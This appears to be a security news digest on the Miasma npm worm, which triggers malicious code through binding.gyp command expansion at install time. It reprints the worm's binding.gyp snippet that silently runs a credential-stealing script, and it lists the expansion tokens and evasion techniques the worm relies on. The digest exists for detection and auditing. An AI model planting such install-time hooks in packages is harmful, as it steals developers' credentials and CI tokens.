
Wait, binding.gyp Can Do What? Exploring npm's Weirdest Build System
Aikido Security researchers detail how the Miasma npm worm evolved to trigger malicious code via binding.gyp instead of package.json preinstall/postinstall scripts, since npm auto-runs node-gyp rebuild whenever a binding.gyp file exists. The piece walks through GYP's command-expansion syntax (<!(...)), a Python eval() sandbox escape that achieves arbitrary code execution from a "clean" gyp file, hiding payloads in transitively-included files (includes, config.gypi, common.gypi, ~/.gyp/include.gypi persistence), dependency-graph payload smuggling, compiler/linker hijacking via make_global_settings and $(shell) flag injection, and using actions/rules/postbuilds to run commands directly — all executing at npm install time regardless of what package.json declares.
What it is
A technical breakdown of the latest Miasma npm worm variant, which relocated its execution trigger from package.json lifecycle hooks into binding.gyp — the build-descriptor file that node-gyp (npm's bundled native-addon compiler, a Node.js-maintained fork of Google's abandoned GYP) runs automatically at install time.
How it works
The trigger fires purely on file presence: when npm installs a package containing a binding.gyp at its root, it runs node-gyp rebuild with no script registration needed. The worm's actual payload looked like:
{
"targets": [
{
"target_name": "Setup",
"type": "none",
"sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
}
]
}The <!(...) command expansion runs the enclosed shell command at parse time and substitutes its output. Here node index.js runs the same obfuscated credential/CI-token stealer from the Red Hat attacks; > /dev/null 2>&1 suppresses all output so install logs stay clean; && echo stub.c returns a plausible filename so the build continues without error.
The detection-relevant point the summary understates: GYP does not scope expansion to known fields. It walks the entire parsed structure recursively and expands tokens inside any string value under any key at any depth — including invented, undocumented keys like some_random_key. There is no schema constraining where a payload can hide.
Preconditions / Affected
Any workflow that installs npm packages shipping a binding.gyp — i.e. anything with native add-ons. Confirmed compromised: 32 official Red Hat npm packages, @vapi-ai/server-sdk (71k weekly downloads), ai-sdk-ollama (31k weekly downloads). Miasma has also spread to PyPI and GitHub.
What to do
The page's core takeaway is a detection correction, not a patch: a clean package.json with no pre/postinstall hooks is not evidence a package is safe. When auditing, inspect binding.gyp for command-expansion tokens across all keys and nesting levels, not just documented build fields:
<!(command),>!(command),^!(command)— raw output substitution<!@(command),>!@(command),^!@(command)— output split into a list<!pymod_do_main(module args)— imports a Python module, calls itsDoMain()<|(name item...)— writes a file at parse time
All execute at parse time, before compilation.
Caveats
The fetched text is truncated mid-section ("The sandbox escap…"), so the article's sandbox-evasion and compiler-hijacking material is not captured here, and the page states no formal mitigation or tooling fix.
Technologies named here
- node-gyp
- 32 official Red Hat packages on npm
- @vapi-ai/server-sdk
- GYP
- Aikido malware detection
- ai-sdk-ollama
- npm
- Aikido Device Protection
- Aikido Safe Chain
- binding.gyp / GYP build files
- Node.js
- Python
Techniques named here
- Install-time code execution via binding.gyp presence
- GYP command expansion abuse
- Python eval sandbox escape in GYP parsing
- Malicious target dependencies across .gyp files
- Malicious flag injection via cflags/CFLAGS with $
- Code execution via actions, rules, and postbuilds
Threat actors named here
Related in Supply Chain


